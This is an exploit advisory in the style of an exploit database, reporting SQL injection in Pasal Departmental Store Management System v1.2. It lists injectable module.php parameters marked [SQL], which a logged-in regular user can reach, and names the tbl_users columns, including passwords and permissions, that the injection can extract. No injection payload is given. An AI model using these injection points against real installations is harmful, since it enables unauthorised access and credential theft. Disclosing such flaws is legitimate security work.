Departmental Store Management System 1.2 – SQL Injection
# # # # # # Exploit Title: Pasal - Departmental Store Management System v1.2 - SQL Injection # Google Dork: N/A # Date: 17.03.2017 # Vendor Homepage: http://webstarslab.com # Software : http://webstarslab.com/products/pasal-departmental-store-management-system/ # Demo: http://webstarslab.com/departmental-store-management-system/store/ # Version: 1.2 # Tested on: Win7 x64, Kali Linux x64 # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Mail : ihsan[@]ihsan[.]net # # # # # # SQL Injection/Exploit : # Login as regular user # http://localhost/[PATH]/module.php?module=vendors&page=edit-vendors&id=[SQL] # http://localhost/[PATH]/module.php?module=units&page=edit-units&id=[SQL] # http://localhost/[PATH]/module.php?module=currency&page=edit-currency&id=[SQL] # http://localhost/[PATH]/module.php?module=category&page=edit-category&id=[SQL] # http://localhost/[PATH]/module.php?module=purchase&y=[SQL]&m=[SQL] # tbl_users:id # tbl_users:username # tbl_users:password # tbl_users:email # tbl_users:full_name # tbl_users:permission # Etc.. # # # # # |